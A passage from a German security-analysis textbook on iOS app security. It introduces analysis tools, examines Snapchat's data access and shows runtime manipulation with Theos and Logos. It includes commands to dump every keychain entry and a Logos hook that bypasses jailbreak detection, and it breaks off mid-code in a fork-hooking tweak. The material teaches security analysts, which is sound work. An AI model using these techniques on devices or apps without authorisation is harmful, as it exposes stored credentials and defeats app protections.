10 Using IDAPython to make your life easier: http://researchcenter.paloaltonetworks.
com/2015/12/using-idapython-to-make-your-life-easier-part-1/

5.5 Zusammenfassung 135
Abb. 5–10: IDA Pro-Graphendarstellung der Prüfung von Passwort und Weiterleitung an die
»Success«-Funktion
5.5 Zusammenfassung
In diesem Kapitel wurde versucht, die Chancen, aber auch die Grenzen, von Reversing
bzw. statischer Analyse aufzuzeigen. Wie auch schon bei Android gesehen,
sollte jedem Analysten klar sein, dass man nicht ohne dieses Wissen auskommt,
dass Reversing jedoch auch nicht die Lösung aller Probleme ist.
In Abschnitt 5.1 wurde ein kurzer Workflow dargestellt, wie man bei der
statischen Analyse als Sicherheitsanalyst vorgehen kann, um an eine verständliche
Repräsentation des Applikationscodes zu gelangen. Dabei haben wir die gängigen
Werkzeuge kennengelernt, mit denen man eine Applikation analysieren kann,
ohne sie selbst ausführen zu müssen: Hopper und IDA Pro.
Wie man an diesen Beispielen ganz gut erkennen kann, ist für die Analyse
einer iOS-Applikation deutlich mehr an Vorwissen nötig, als es für eine vergleichbare
Android-Applikation der Fall wäre. Dies liegt vor allem an der Komplexität
einiger der gezeigten Werkzeuge, aber auch an der Notwendigkeit, Assembler-
Sprache verstehen zu können.

137
6 Sicherheitsprobleme bei
iOS-Applikationen
Wie schon bei Android gibt es auch bei iOS eine Vielzahl an Applikationen und
fast ebenso viele Fehler, die ein Entwickler in eine Applikation einbauen kann.
Apple versucht an dieser Stelle durch Anpassungen an der IDE und den API-
Schnittstellen den Entwicklern zu helfen, aber leider schützt dies nicht gegen alle
Sicherheitsprobleme, die ein Entwickler von Applikationen aus Versehen verursachen
kann.
Wie schon bei Android, so gilt auch hier: Selbst wenn man sich als Entwickler
an Vorgaben zum Programmieren sicheren Codes hält, ist es immer noch sehr
schwer, eine komplett fehlerfreie Applikation zu entwerfen. Zudem ist ein hohes
Maß an Wissen nötig, um diesem Ziel auch nur ansatzweise nahe zu kommen.
Da all diese Voraussetzungen nur selten erfüllt sind, ist es wichtig für uns
als Sicherheitsanalysten – aber auch für Angreifer –, zu wissen, wo eventuelle
Schwachstellen versteckt sind und wie sie sich finden und ausnutzen lassen.
Aus diesem Grund schauen wir uns in diesem Kapitel wichtige Werkzeuge,
aber auch die häufigsten Schwachstellen an. Dazu ist dieses Kapitel in fünf logische
Teilgebiete unterteilt:
1. Wichtige Werkzeuge zur Analyse (Abschnitt 6.1)
2. Zugriffe auf personenbezogene Daten (Abschnitt 6.2)
3. Manipulation von Applikationen zur Laufzeit (Abschnitt 6.3)
4. Digitale Forensik (Abschnitt 6.4)
5. Erkennen von fehlenden Sicherheitsfunktionen in einer Applikation (Abschnitt
6.5)
6.1 Wichtige Tools und Helfer
Bevor wir in die Techniken und Probleme bei iOS-Applikationen eintauchen, sehen
wir uns noch kurz ein paar sehr wichtige Tools an, die bei der Analyse hilfreich
sind und im weiteren Verlauf des Kapitels immer wieder auftauchen werden.
Zu diesen Tools gehören – neben den in Kapitel 5 bereits erwähnten Tools – unter
anderem: otool, Snoop-it und frida.

138 6 Sicherheitsprobleme bei iOS-Applikationen
6.1.1 otool
otool ist vom Funktionsumfang sehr ähnlich zu dem in Abschnitt 5.2.4 beschriebenen
Tool class-dump, weist allerdings beim Anzeigen der Informationen einige
Nachteile auf, da class-dump deutlich einfacher lesbare Ausgaben erzeugt. Der
Vorteil liegt jedoch wieder mal im Detail versteckt: otool bietet einige wichtige
zusätzliche Funktionen, wie z. B. das Auslesen der verwendeten Bibliotheken
einer Applikation (siehe dazu Codebeispiel 6–1):
$: otool -L Test.app/Test
Test.app/Test:
/System/Library/Frameworks/QuartzCore.framework/QuartzCore (
compatibility version 1.2.0, current version 1.8.0)
/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics (
compatibility version 64.0.0, current version 600.0.0)
/System/Library/Frameworks/CFNetwork.framework/CFNetwork (
compatibility version 1.0.0, current version 609.1.4)
/System/Library/Frameworks/UIKit.framework/UIKit (compatibility
version 1.0.0, current version 2380.17.0)
/System/Library/Frameworks/Foundation.framework/Foundation (
compatibility version 300.0.0, current version 993.0.0)
/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current
version 228.0.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current
version 173.8.0)
/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation (
compatibility version 150.0.0, current version 793.0.0)
Codebeispiel 6–1: Auslesen der verwendeten Bibliotheken mittels otool
Diese Ausgabe kann sehr hilfreich sein, um veraltete oder anfällige Third-Party-
Bibliotheken zu erkennen.
6.1.2 Snoop-it
Snoop-it1 verwendet Library Injection und API Hooking zur Laufzeit, um seine
Funktionalität in die gewünschte Applikation einzubringen. Beim Start der
Applikation wird diese durch das Einschleusen einer Bibliothek nachträglich um
Analyse- und Überwachungsfunktionen erweitert. Während der Ausführung der
zu überwachenden Applikation werden im Hintergrund zentrale sicherheits- und
privatsphärerelevante Vorgänge aufgezeichnet und ein Webserver gestartet, der
die Interaktion vom Analyserechner aus zulässt. Dieser Webserver stellt eine
1 Snoop-it: https://code.google.com/archive/p/snoop-it/

6.1 Wichtige Tools und Helfer 139
Abb. 6–1: Webinterface von Snoop-it mit geladener Notes-Applikation
XML-RPC-Schnittstelle zur Verfügung, über die in Echtzeit auf die aufgezeichneten
Ergebnisse und die Analysefunktionen zugegriffen werden kann. Zur einfachen
Bedienung wird von dem Webserver zusätzlich eine webbasierte Benutzeroberfläche
bereitgestellt (siehe Abbildung 6–1).
Snoop-it stellt eine eigene Applikation zur Verfügung, die aus dem Cydia-
Repository2 heruntergeladen werden kann. In dieser Applikation ist es möglich,
grundlegende Settings wie z. B. URL und Port, aber auch die zu überwachende
Applikation festzulegen. Hier können auch Settings verändert werden, die sich
auf das Umgehen des Certificate Pinning (siehe hierzu Abschnitt 9.2.3) und der
Jailbreak-Detektion spezialisieren.
Wichtige Funktionen von Snoop-it, die wir im weiteren Verlauf dieses Kapitels
immer wieder antreffen werden, sind u. a.:
■
■
■
■
■
Aufzeichnung von Dateisystemzugriffen inkl. der verwendeten NSFile-
Protection-Klasse
Zugriffe auf die Keychain inkl. der verwendeten kSecAttr-Klasse
Zugriffe auf sensible und privatsphärerelevante APIs
Verwendung der Crypto-APIs
Die Möglichkeit zur Manipulation von Gerätedaten wie z. B. der GPS-Daten
Zum Zeitpunkt der Veröffentlichung des Buches war Snoop-it leider nur in der
Lage, 32-Bit-Applikationen zu untersuchen. Dies bedeutet, man benötigt ein älteres
iOS-Endgerät (wie z. B. das iPhone 5C), um mit Snoop-it ohne Probleme
arbeiten zu können. Hat man ein solches Gerät jedoch zur Hand, lohnt sich die
Verwendung von Snoop-it auf jeden Fall, da es sehr viele wichtige Informationen
direkt ausgibt und damit für den Analysten sehr hilfreich ist.
2 Snoop-it Cydia-Repository: http://repo.nesolabs.de/

140 6 Sicherheitsprobleme bei iOS-Applikationen
6.1.3 idb
idb3 ist ähnlich wie Snoop-it ein Werkzeug, das dem Analysten einiges an Arbeit
bei der Analyse von iOS-Applikationen abnimmt und Ergebnisse in eine grafische
Oberfläche packt. Im Gegensatz zu Snoop-it, wo der Analyst lediglich auf dem
Smartphone eine Komponente installieren muss, ist bei idb der wesentliche Teil
auf dem Analyserechner zu installieren.
Hierzu ist es nötig, dass wir die in Codebeispiel 6–2 gezeigten Schritte auf
unserem Analyserechner mit Mac OS X ausführen.
# Installation der nötigen Pakete
$: brew install qt cmake usbmuxd libimobiledevice
# Installation von idb als Ruby-Paket
$: sudo gem install idb
Codebeispiel 6–2: Installation von idb auf Mac OS X
Nach der erfolgreichen Installation können wir das Tool starten, in dem wir einfach
unser Test-Smartphone mit dem Analyserechner per USB verbinden und
auf der Kommandozeile den Befehl idb eintippen. Anschließend öffnet sich ein
Fenster, in dem wir das Smartphone auswählen, auf welchem wir eine Applikation
analysieren möchten. Im nun folgenden Fenster wird geprüft, ob auf dem
Endgerät alle erforderlichen Pakete installiert sind, die idb benötigt (siehe Abbildung
6–2). Sollten noch wichtige Pakete fehlen, so können diese direkt über
dieses Fenster nachinstalliert werden.
Abb. 6–2: Gerätestatus in idb
3 idb: http://www.idbtool.com/

6.1 Wichtige Tools und Helfer 141
Abb. 6–3: Übersicht einer analysierten Applikation in idb
Im zweiten Schritt müssen wir nun noch die zu analysierende Applikation auswählen.
Haben wir dies alles durchgeführt, bekommen wir eine erste Übersicht
der Applikation angezeigt (siehe Abbildung 6–3).
Wie auch Snoop-it bietet idb wichtige Funktionen, die wir im weiteren Verlauf
dieses Kapitels immer wieder sehen und verwenden werden. Dazu gehören
u. a.:
■
■
■
■
■
■
■
Aufzeichnung von Dateisystemzugriffen inkl. der verwendeten NSFile-
Protection-Klasse
Zugriffe auf die Keychain inkl. der verwendeten kSecAttr-Klasse
Binary-Analysen wie z. B. Prüfen, ob das Binary verschlüsselt ist oder ob
Techniken wie ASLR, DEP oder ARC implementiert sind
Strings aus der Applikation extrahieren
URL-Handlers auflisten
Die Zwischenablage überwachen
Nach Snapshots der Applikation suchen
6.1.4 frida
frida4 ist ähnlich wie cycript ein Tool zur Laufzeitmanipulation von iOS-Applikationen.
Dabei unterstützt frida sowohl das Hooken von Funktionsaufrufen wie
4 frida: http://www.frida.re/

142 6 Sicherheitsprobleme bei iOS-Applikationen
auch deren Manipulation mittels JavaScript und ist dabei noch automatisierbar
mithilfe selbst erstellter Skripte.
Bei der Installation von frida auf Mac OS X El Capitan gibt es eine Besonderheit:
Durch die neu eingeführten Schutzmechanismen des Betriebssystems ist
es nicht mehr möglich, frida ganz herkömmlich zu installieren, da das System
hierbei eine Python-Bibliothek updaten möchte, die vom System selbst geschützt
wird. Die Installation muss daher mit dem -ignore-installed-Zusatz erfolgen wie
in Codebeispiel 6–3 gezeigt:
$: sudo pip install frida --ignore-installed
Collecting frida
Downloading frida-6.0.12.zip
Collecting colorama>=0.2.7 (from frida)
Downloading colorama-0.3.5-py2.py3-none-any.whl
Collecting prompt-toolkit==0.38 (from frida)
Downloading prompt_toolkit-0.38-py2-none-any.whl (154kB)
100% |????????????????????????????????| 155kB 3.0MB/s
Collecting pygments>=2.0.2 (from frida)
Downloading Pygments-2.0.2-py2-none-any.whl (672kB)
100% |????????????????????????????????| 675kB 607kB/s
Collecting wcwidth (from prompt-toolkit==0.38->frida)
Downloading wcwidth-0.1.5-py2.py3-none-any.whl
Collecting six>=1.8.0 (from prompt-toolkit==0.38->frida)
Downloading six-1.10.0-py2.py3-none-any.whl
Installing collected packages: colorama, pygments, wcwidth, six, prompttoolkit,
frida
Running setup.py install for frida
Successfully installed colorama-0.3.5 frida-6.0.12 prompt-toolkit-0.38
pygments-2.0.2 six-1.4.1 wcwidth-0.1.5
Codebeispiel 6–3: Installation von frida auf Mac OS X El Capitan
Im Anschluss müssen auf dem iOS-Endgerät noch die zugehörigen Komponenten
installiert werden, damit das mobile Endgerät auch mit dem Analyserechner
kommunizieren und die Befehle dort umsetzen kann. Hierfür müssen wir einfach
das entsprechende Cydia-Repository5 einbinden und hieraus frida installieren.
Um zu testen, ob alles funktioniert, ist es am einfachsten, den in Codebeispiel
6–4 gezeigten Befehl auf dem Analyserechner auszuführen.
5 frida Cydia-Repository: http://build.frida.re/

6.1 Wichtige Tools und Helfer 143
$: frida-ps -U
PID Name
--- ----------------
482 Cydia
369 Mail
99 AppleIDAuthAgent
135 BTServer
259 BlueTool
653 CacheDeleteAppCo
655 CacheDeleteITune
659 CacheDeleteSyste
298 CallHistorySyncH
.....
Codebeispiel 6–4: Auflistung der laufenden Prozesse auf einem iOS-Endgerät mittels frida
Sollten hierbei Fehlermeldungen auftreten, liegt es meist daran, dass die Version
von frida auf dem Analyserechner und auf dem iOS-Endgerät nicht übereinstimmen.
Dies kann mittels frida --version auf dem Analyserechner und frida-server
--version auf dem iOS-Endgerät überprüft werden.
Codebeispiel 6–5 zeigt einige essenzielle Befehle, die frida bereitstellt und die
im weiteren Verlauf des Kapitels Anwendung finden.
# Ähnlich zu dem bereits bekannten Befehl, diesmal werden jedoch nur aktuell
laufende Applikationen gelistet und nicht alle laufenden Prozesse
$: frida-ps -Ua
# Listet alle installierten Applikationen, auch welche, die aktuell nicht
ausgeführt werden
$: frida-ps -Uai
# Überwacht recv* und send* APIs in Safari
$: frida-trace -i "recv*" -i "send*" Safari
# Überwacht ObjC-Methodenaufrufe in Twitter
$: frida-trace -m "-[NSView drawRect:]" Twitter
# Verbinden von frida mit der laufenden Notizen-Applikation zum Manipulieren
$: frida -U Notizen
Codebeispiel 6–5: Essenzielle Befehle für frida

144 6 Sicherheitsprobleme bei iOS-Applikationen
6.1.5 Keychain-Dumper
Das Tool Keychain-Dumper6 ermöglicht es, von einem iOS-Endgerät alle Einträge
in der Keychain auszulesen. Dies kann immer dann hilfreich sein, wenn man
wissen will, was eine bestimmte Applikation in der Keychain ablegt und wie sie es
dort ablegt. Da Keychain-Dumper die komplette Keychain einfach auf die Kommandozeile
ausgibt, sollte man die Ausgabe in eine Datei umleiten, die man dann
im Anschluss per SCP vom mobilen Endgerät auf den Analyserechner überträgt
(siehe dazu Codebeispiel 6–6).
$: ./keychain_dumper -a &> keychain.dump
Codebeispiel 6–6: Umleiten der Keychain-Dumper-Ausgabe in eine Datei
Keychain-Dumper besitzt neben der vollen Auflistung der Keychain auch Parameter,
mit denen man die Ausgabe auf bestimmte Gruppen begrenzen kann. Dies
kann dann hilfreich sein, wenn die Keychain sehr viele Einträge beinhaltet und
man nur an bestimmten Gruppen – z. B. gespeicherten Zertifikaten – Interesse
hat (siehe dazu Codebeispiel 6–7).
Usage: keychain_dumper [-e]|[-h]|[-agnick]
: Dump Password Keychain Items (Generic Password, Internet
Passwords)
-a: Dump All Keychain Items (Generic Passwords, Internet Passwords,
Identities, Certificates, and Keys)
-e: Dump Entitlements
-g: Dump Generic Passwords
-n: Dump Internet Passwords
-i: Dump Identities
-c: Dump Certificates
-k: Dump Keys
Codebeispiel 6–7: Keychain-Dumper-Parameter
6.1.6 FileDP
FileDP7 ist ein kleines, aber mächtiges Tool, das es einem Analysten erlaubt,
schnell herauszufinden, welche der in Abschnitt 1.2.3 beschriebenen Schutzklassen
eine Datei oder ein ganzes Unterverzeichnis einer zu untersuchenden Applikation
besitzt. Diese Informationen können zwar auch mit den bereits beschriebenen
Werkzeugen Snoop-it und idb dargestellt werden, doch es gibt immer wieder
6 Keychain-Dumper: https://github.com/ptoomey3/Keychain-Dumper
7 FileDP: http://www.securitylearn.net/wp-content/uploads/tools/iOS/FileDP.zip

6.1 Wichtige Tools und Helfer 145
Momente, wo man sich nicht nur auf ein Tool verlassen sollte oder man schnell
die Informationen benötigt, ohne zuvor komplexe Werkzeuge starten zu müssen.
Bei der Analyse von Applikationen aus der Perspektive des Sicherheitsanalysten
ist es wichtig, zu wissen, wann bei einer Datei mit sensiblem Inhalt die vom
System bereitgestellten Verschlüsselungsmechanismen greifen. Hat man z. B. eine
Datenbank, in der vertrauliche Kontodaten oder Projektdaten gespeichert sind,
so möchte man sicher sein, dass diese Daten auch nur dann entschlüsselt vorliegen,
wenn das Smartphone in den Händen des legitimen Nutzers ist. Hierfür
bietet iOS die Schutzklasse NSFileProtectionComplete an.
Schaut man sich nun per SSH das Dateisystem der Applikation an, so sieht
man zwar, dass diese Datei vorhanden ist, aber die Schutzklasse lässt sich nicht
ohne Weiteres erkennen. Um diese Metainformationen zu erhalten, übertragen
wir FileDP mittels SCP auf das Smartphone, auf dem die zu untersuchende Applikation
läuft, und machen es im Anschluss mittels chmod +x FileDP ausführbar.
Nun verwenden wir FileDP wie in Codebeispiel 6–8 gezeigt.
$: ./FileDP -d /var/mobile/Containers/Data/Application/07DF1A1E-DD3B-45D8-
A55B-385FAC05C2BF
2016-03-12 17:41:02.788 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/.com.
apple.mobile_container_manager.metadata.plist - protection class:
NSFileProtectionNone
2016-03-12 17:41:02.793 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/
Documents - protection class:(null)
2016-03-12 17:41:02.793 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/
Documents/AdCache.plist - protection class:NSFileProtectionComplete
2016-03-12 17:41:02.795 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/
Documents/AdManager.plist - protection class:NSFileProtectionComplete
2016-03-12 17:41:02.795 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/
Documents/ClientEncryptionService.plist - protection class:
NSFileProtectionComplete
2016-03-12 17:41:02.797 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/
Documents/SCMediaPersistentStore - protection class:(null)
2016-03-12 17:41:02.798 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/
Documents/StoryAdStreamManager.plist - protection class:
NSFileProtectionComplete

146 6 Sicherheitsprobleme bei iOS-Applikationen
2016-03-12 17:41:02.799 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/
Documents/adTreatment.plist - protection class:NSFileProtectionComplete
2016-03-12 17:41:02.800 FileDP[1201:205901] file name is:/var/mobile/
Containers/Data/Application/07DF1A1E-DD3B-45D8-A55B-385FAC05C2BF/
Documents/chats.plist - protection class:NSFileProtectionComplete
...
Codebeispiel 6–8: Auslesen der Schutzklasse einer im iOS-Dateisystem befindlichen Datei
mittels FileDP
In der Ausgabe von Codebeispiel 6–8 sieht man einige der Dateien, die Snapchat
verwaltet, und deren Schutzklasse. So erkennt man z. B., dass die plist-Datei
mit den Informationen zu einzelnen Chats (chats.plist) die höchste Schutzklasse
– NSFileProtectionComplete – besitzt und somit nur entschlüsselt auf dem Gerät
vorliegt, wenn ein Nutzer den Bildschirm des Smartphones entsperrt hat.
Diese Informationen werden wir im Verlauf des Kapitels immer wieder benötigen,
um Einschätzungen über die Sicherheit einer gespeicherten Information
treffen zu können, daher ist das Tool FileDP ein wichtiger Helfer in unserer
Toolchain.
6.2 Analyse der Zugriffe auf sensible Nutzerdaten
Gerade im Bereich der Analyse von Applikationen zum Einsatz auf privaten oder
geschäftlichen Endgeräten ist es auch unter iOS wichtig, dass man die Zugriffe
auf sensible Nutzerdaten untersucht. Es gibt immer wieder Applikationen, die
in den Medien genannt werden, weil sie das Adressbuch der Nutzer auf ihren
Servern speichern oder persönliche Daten von den iPhones der Nutzer abziehen.
Dieses Verhalten ist hierbei auch nicht auf Android alleine beschränkt, sondern es
stehen, wie man am Beispiel von Apps, die heimlich Snapchat-Accounts stehlen8 ,
sieht, auch immer wieder iOS-Applikationen im Verdacht, dass sie nicht so mit
den Nutzerdaten umgehen, wie dies vom Nutzer gewünscht ist.
Bei iOS gibt es seit mehreren Jahren schon das Feature, dass dem Nutzer
angezeigt wird, welche Applikationen Zugriff auf seine sensiblen Nutzerdaten
haben (siehe dazu auch Abbildung 6–4), und jede Applikation fragt bei erstmaligem
Zugriff auf eine dieser Datenquellen beim Benutzer an, ob er diesen Zugriff
erlaubt oder nicht. Hierdurch ist es für bösartige Entwickler deutlich schwieriger,
an sensible persönliche Nutzerdaten zu gelangen, ohne dass der Nutzer dies
bemerkt. Auch lassen sich solche bereits erteilten Zugriffe über die Einstellungen
von iOS jederzeit widerrufen. Diese Tatsache stellt an dieser Stelle den größten
8 Drittanbieter-Apps stehlen Snapchat-Accounts: http://9to5mac.com/2016/03/08/
ios-apps-snapchat-harvest-credentials/

6.2 Analyse der Zugriffe auf sensible Nutzerdaten 147
Abb. 6–4: Datenschutzeinstellungen in iOS
Unterschied zu Android dar, wo man als Nutzer lediglich bei der Installation
Hinweise darauf bekommt, auf welche Daten die Applikation unter Umständen
zugreifen möchte.
Solche bereits erteilten Zugriffe lassen sich über die Einstellungen von iOS
jederzeit widerrufen, wie das Beispiel von Snapchat in Abbildung 6–5 zeigt. Wie
auf dieser Abbildung zu sehen ist, haben wir lediglich den Zugriff auf die Kamera
sowie das Senden von Mitteilungen aktiviert, Zugriff auf die Kontakte hat
Snapchat hingegen nicht.
Doch alleine die Tatsache, dass die Applikation auf meine Bilder zugreifen
möchte, ist noch lange kein Grund zur Besorgnis. Möchte ich z. B. gerade ein
Bild per Twitter teilen, dann muss die Twitter-Applikation natürlich auf das vor
Tagen aufgenommene Bild in meiner Galerie zugreifen dürfen. Viel wichtiger ist
jedoch, dass auch wirklich nur das eine – von mir selbst ausgewählte – Bild mein
Gerät verlässt und nicht auch andere Bilder. Solches Verhalten herauszufinden
und aufzudecken ist auch auf iOS eine wichtige Aufgabe des Analysten.
Um mehr Informationen darüber zu bekommen, wann eine Applikation auf
eine API zugreift, die verwendet werden kann, um an sensible persönliche Daten
zu gelangen, setzen wir im Folgenden zuerst Snoop-it ein (siehe Abschnitt 6.1.2
für weitere Details). Wenn wir in den Einstellungen von Snoop-it unsere zu analysierende
Applikation auswählen und anschließend starten, hängt sich Snoop-it
in die laufenden Prozesse der Applikation und zeigt uns alle API-Zugriffe an. Um

148 6 Sicherheitsprobleme bei iOS-Applikationen
Abb. 6–5: Datenschutzeinstellungen von Snapchat in iOS
das Ganze hier etwas anschaulicher zu demonstrieren, verwenden wir die gerade
schon erwähnte Applikation Snapchat.
Zugriffe auf sensible Daten bzw. deren APIs zeigt Snoop-it unter dem Abschnitt
Monitoring → Sensitive API an (wie in Abbildung 6–6 zu sehen). Hier erkennen
wir nun, dass Snapchat zur Laufzeit zum einen auf die Wi-Fi-Mac-Adresse
des iPhones zugreift, zum anderen aber auch auf die Kamera-API.
Abb. 6–6: Analyse der Zugriffe von Snapchat auf persönliche Daten mittels Snoop-it
In diesem Fall ist das Verhalten korrekt, da Snapchat dem Nutzer in diesem Moment
auch die Kamera anzeigt, aber das muss nicht bei allen Applikationen so
sein.

6.3 iOS-Applikationen zur Laufzeit manipulieren 149
6.3 iOS-Applikationen zur Laufzeit manipulieren
Wie wir schon bei Android gesehen haben, ist es wichtig, Applikationen auch
zur eigentlichen Laufzeit zu analysieren bzw. zu manipulieren, um vordefinierte
Verhaltensmuster zu prüfen oder zu umgehen. Beispiele für solche Verhalten sind
z. B. Jailbreak-Erkennung oder Passwortsperren in Applikationen.
Um dies zu erreichen, können wir Tools wie das in Abschnitt 6.1.4 vorgestellte
frida verwenden oder Theos und die darin enthaltene Skriptsprache Logos.
Theos9 ist eine Cross-Plattform-Toolsammlung, die es uns ermöglicht, Erweiterungen
– sogenannte Tweaks – für iOS-Applikationen zu schreiben, um sie
dann auf einem jailbroken Endgerät auszuführen (dabei ist Theos jedoch längst
nicht der einzige Weg, um diese Tweaks zu erstellen). Um Theos verwenden zu
können, müssen wir die in Codebeispiel 6–9 gezeigten Schritte auf unserem Analyserechner
ausführen.
# Installation der nötigen Pakete
$: brew install dpkg ldid
# Installation von Theos selbst
$: export THEOS=/opt/theos
$: git clone --recursive git://github.com/theos/theos.git $THEOS
# Setzen der Umgebungsvariablen für Theos
$: export PATH=$THEOS/bin:$PATH
$: export THEOS_DEVICE_IP=iphone.local THEOS_DEVICE_PORT=22
# Nun benötigen wir nur noch die passenden Bibliotheken
$: wget http://apt.saurik.com/debs/mobilesubstrate_0.9.6011_iphoneos-arm.deb
$: mkdir substrate
$: dpkg-deb -x mobilesubstrate_*_iphoneos-arm.deb substrate
$: mv substrate/Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate
$THEOS/lib/libsubstrate.dylib
$: mv substrate/Library/Frameworks/CydiaSubstrate.framework/Headers/
CydiaSubstrate.h $THEOS/include/substrate.h
Codebeispiel 6–9: Installation von Theos unter Mac OS X
Auf dem iOS-Endgerät müssen nun nur noch die passenden Gegenstücke installiert
werden. Dazu müssen wir die folgenden beiden Repositories innerhalb von
Cydia hinzufügen: http://coolstar.org/publicrepo und http://nix.howett.net/theos.
Nachdem wir dies durchgeführt haben, müssen wir noch die folgenden Pakete
über Cydia aus den neu hinzugefügten Repositories installieren:
9 Theos: http://iphonedevwiki.net/index.php/Theos

150 6 Sicherheitsprobleme bei iOS-Applikationen
■
■
■
Perl
Theos
iOS Toolchain
Hat alles funktioniert, so können wir uns per SSH auf das iOS-Endgerät verbinden
und dort den Befehl echo $Theos ausführen. Als Rückgabe sollten wir den
Pfad bekommen, in dem Theos installiert wurde – meist /var/theos.
Um mit Theos schneller an das gewünschte Ziel zu kommen, gibt es Logos.
Logos bietet eine Reihe von Befehlen, die wir nutzen können, um unsere eigenen
Hooking-Skripte deutlich komfortabler erstellen zu können. Wichtige Befehle
hierbei sind:
%hook: Ist der Beginn eines Hookings für eine definierte Klasse innerhalb der zu
analysierenden Applikation.
%orig: Ruft die eigentliche Implementation der gehookten Klasse auf.
%log: Schreibt die Argumente, mit denen eine gehookte Methode aufgerufen
wurde, in das Systemlog.
%end: Ist das Ende eines Hookings für eine definierte Klasse innerhalb der zu
analysierenden Applikation.
Mithilfe von Logos und Theos werden wir im folgenden Abschnitt sehen, wie
man beispielsweise die Jailbreak-Erkennung einer Applikation umgehen kann.
6.3.1 Umgehen der Jailbreak-Erkennung
Die Erkennung eines Jailbreaks ist sehr komplex und es gibt eine Vielzahl an
Möglichkeiten, zu prüfen, ob ein Gerät noch vertrauenswürdig ist oder durch
einen Jailbreak modifiziert wurde. Generell hat man an dieser Stelle eine Art
Katz-und-Maus-Spiel, da die Entwickler von sicheren Applikationen ständig neue
Wege suchen, einen Jailbreak zu erkennen, und die Sicherheitsanalysten und Hacker
versuchen, den Vorsprung so gering wie möglich sein zu lassen, sodass sie
diese Applikationen auch ausführen können, wenn das System manipuliert ist.
Wie auch bei Android beruhen die meisten Detektionstechniken darauf, dass
nach bestimmten Dateien gesucht wird oder die Ausführung von eigentlich nicht
vorhandenen Befehlen geprüft wird. Im Fall von iOS suchen die meisten Applikationen
nach dem Vorhandensein von Cydia. Dieser Store befindet sich auf einem
jailbroken iOS-Endgerät normalerweise unter /Applications/Cydia.app. Eine weitere
Möglichkeit liegt darin, dass man versucht, den Befehl fork() auszuführen.
Dieser Befehl ist normalerweise für eine Applikation nicht ausführbar bzw. seine
Ausführung schlägt fehl. Sobald ein Gerät mittels Jailbreak manipuliert wurde,
ändert sich das und jede Applikation kann diesen Befehl erfolgreich ausführen.
Um eine solche Prüfung in einer Applikation zu finden, gehen wir ähnlich vor,
wie schon beim Reversing gezeigt: Wir installieren die Applikation auf unserem
Testgerät, entschlüsseln sie mithilfe von dump_decrypted und versuchen dann

6.3 iOS-Applikationen zur Laufzeit manipulieren 151
mittels otool -ov auffällige Methoden- oder Klassennamen zu finden. Letzteres ist
meist einfacher, als man denkt, da viele dieser Klassen oder Methoden im Namen
schon deutliche Hinweise auf ihre Verwendung haben. Kommen wir hier nicht
weiter, hilft leider nur das aufwendige Reversing mittels Hopper oder IDA Pro.
Nehmen wir für das folgende Beispiel an, dass wir über die erwähnten Mechanismen
eine Klasse mit dem Namen SecurityChecks gefunden hätten und darin
eine Methode namens isDeviceJailbroken, die einen booleschen Wert (YES oder
NO) zurückgibt, je nachdem, ob das Gerät jailbroken ist oder nicht.
Um in diesem Beispiel dafür zu sorgen, dass eine Erkennung nicht mehr das
richtige Ergebnis ausgibt, können wir mittels Theos und Logos die Applikation
zur Laufzeit manipulieren. Hierzu legen wir einen neuen Tweak mithilfe von
Theos an, wie in Codebeispiel 6–10 gezeigt.
$: perl /var/theos/bin/nic.pl
NIC 2.0 - New Instance Creator
------------------------------
[1.] iphone/activator_event
[2.] iphone/application_modern
[3.] iphone/cydget
[4.] iphone/flipswitch_switch
[5.] iphone/framework
[6.] iphone/ios7_notification_center_widget
[7.] iphone/library
[8.] iphone/notification_center_widget
[9.] iphone/preference_bundle_modern
[10.] iphone/tool
[11.] iphone/tweak
[12.] iphone/xpc_service
Choose a Template (required): 11
Project Name (required): jbobfuscator
Package Name [com.yourcompany.jbobfuscator]: de.mspreitz.jbobfuscator
Author/Maintainer Name [Michael Spreitzenbarth]:
[iphone/tweak] MobileSubstrate Bundle filter [com.apple.springboard]:
[iphone/tweak] List of applications to terminate upon installation (spaceseparated,
'-' for none) [SpringBoard]:
Instantiating iphone/tweak in jbobfuscator/...
Done.
Codebeispiel 6–10: Erstellung eines Tweak-Templates mittels Theos
Mittels nic.pl haben wir nun einen iPhone-Tweak erzeugt mit dem Namen jbobfuscator
und dem Paketnamen de.mspreitz.jbobfuscator. Beachten muss man

152 6 Sicherheitsprobleme bei iOS-Applikationen
hierbei noch, dass man den Bundle filter entsprechend der Applikation anpasst,
die man zur Laufzeit manipulieren möchte. Im aktuellen Verzeichnis hat uns dieses
Tool nun ein Template erzeugt, das wir für unsere Laufzeitmanipulation verwenden
können.
Da wir bereits wissen, dass der zu manipulierende Check in der Methode
isDeviceJailbroken sitzt, können wir das Template – dieses liegt in der Datei
Tweak.xm – nun mittels Logos wie in Codebeispiel 6–11 gezeigt anpassen.
%hook SecurityChecks
- (BOOL) isDeviceJailbroken {
return NO;
}
%end
Codebeispiel 6–11: Erstellung eines Tweaks mittels Logos
In Codebeispiel 6–12 haben wir einen zweiten Tweak erzeugt, der beim Aufruf
des Befehls fork aus einer Applikation heraus den eigentlichen Aufruf durch
new_fork ersetzt und als Return-Wert immer -1 zurückgibt. Hierdurch denkt die
Applikation, dass fork nicht erfolgreich ausgeführt werden konnte und das Endgerät
somit vertrauenswürdig ist.
#include
#include
static pid_t (*original_fork)(void);
pid_t new_fork(void) {
